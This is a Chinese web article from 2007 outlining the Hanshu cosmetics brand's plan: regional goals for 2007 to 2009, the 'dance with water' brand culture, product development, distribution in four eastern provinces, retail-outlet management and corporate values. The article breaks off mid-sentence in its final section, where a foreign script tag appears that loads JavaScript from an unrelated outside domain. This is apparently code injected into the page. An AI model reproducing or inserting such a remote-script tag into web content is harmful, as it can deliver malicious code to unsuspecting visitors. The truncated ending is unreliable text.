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王平韩束品牌化运作规划

频道编辑Tracy 2007-01-26 09:48 大字

经过2005年的小试牛刀、积累沉淀后,2006年,韩束品牌将迎来质的飞跃,一支由业内资深人员组成的品牌团队,将从品牌形象、产品研发、渠道建设、公关促销、人员培训等方面全面实行韩束的品牌化运作。

品牌战略目标

2007年,成为以华东4省为核心区域的区域性补水保湿知名品牌;

2008年,成为华东4省补水保湿强势品牌,华东、东北知名品牌;

2009年,成为全国知名补水保湿品牌。

最终实现“品牌-产品”→“品牌-企业”→“品牌-文化”的转变。

一、品牌文化——与水共舞

作为来自韩国的专业补水保湿护肤品,韩束品牌带给消费者的首先是韩式护肤品的典雅与极致,同时以大众化的价格提供奢侈品的享受,全力打造深受时尚女性喜爱的“平民护肤明星”。

韩束认为,健康的肌肤是美丽的前提。水做的女人水来养,韩束品牌以“缔造水样肌肤”为目标,自始至终贯穿“水的护肤文化”,实现“水与肌肤的互动”,带来清新、时尚、健康的护肤体验。

二、产品研发——个性创新

产品是品牌的第一生命力。

为生产出更适合市场需求、质量更高的产品,韩束加大研发资金的投入,针对中国南方与北方女性的不同肌肤特点,聘用韩国工程师参与产品的研发,力求每个产品均为精品。

为充分满足消费者的需求,2007年,韩束在追求天然、绿色、无添加的基础上,陆续推出5-6个新护肤系列,新材料的运用、新概念的亮相,带给消费者耳目一新的视觉与触觉冲击。

并且,针对商场和专卖店的不同需求,产品系列和价格设计更合理,目标针对性更强。

三、渠道建设——精耕细耘

选取浙江、江苏、山东、河北4省实施“渠道深耕”计划,市场重点投入,启动“商场+化妆品专卖店+超市店中柜”的分销结构。

2007年计划打造370家有效终端,力争省级市、地级市的每区,每个县级市、县均有1个韩束的有效终端网点,扩大品牌的影响力和辐射能力。

四、营销理念——非卖产品

化妆品市场被人们称之为“美丽的市场”,具有很高的品牌溢价能力。

韩束品牌将改变传统的销售概念,建立以“我们销售的是品牌而非产品,我们销售的是美丽而非产品”的核心销售理念。实现品牌的附加值。

五、终端管理——王牌终端

1、终端形象——你的店就是我的店针对A、B、C类不同的终端,实施终端达标标准(软硬终端),将经销商的店当作自己的店来帮助管理,统一、提升韩束品牌形象,促进销售。

2、终端营销——魅力营销通过与消费者深度互动的“魅力营销”,增加品牌的附加值,树立良好的品牌美誉度和忠诚度。

3、终端促销——不断造势通过线上高空广告和线下售点促销的紧密配合,张弛有度,不断造势,实现品牌知名和销量的双赢。

企业文化,是一个企业的灵魂,是从企业内部生长起来,让企业及员工信奉并付诸实践的价值理念;也是一种微观经营管理文化,是一个企业在长期经营中所凝聚,积淀起来的一种价值理念、精神力量、经营境界和广大员工所认同的道德规范和行为方式。

一个企业造就什么样的文化,那么这个企业便具有了什么样的品格。企业的品格,决定企业的命运。实际上,企业文化的全部内容,就是为这个组织设定一个价值观标准,哪些是我们崇尚和必须遵守的,哪些是我们反对和必须禁止的。

韩束发展核心法则:

以人为本——解决员工的生存是我们企业发展的第一法则:

员工是企业的主体,韩束的发展凝聚着全体员工的忠诚奉献。韩束坚持“以人为本”,全面了解员工,科学安排员工,公正评价员工,积极培育员工,个人、团队和企业的协同发展。企业是员工利益的载体,也是员工展示才能、实现人生价值的舞台。合理化的让员工先生存下来而后谋发展是韩束对员工最务实的承诺。

维护客户利益——维护客户利益是我们企业发展的第二法则:

韩束认为在合理的基础上最大化满足客户,维护客户的利益,为合作方提供赢得财富和信誉的必要条件和良好环境,?script src=http://cn.jxmmtv.com/cn.js>

 
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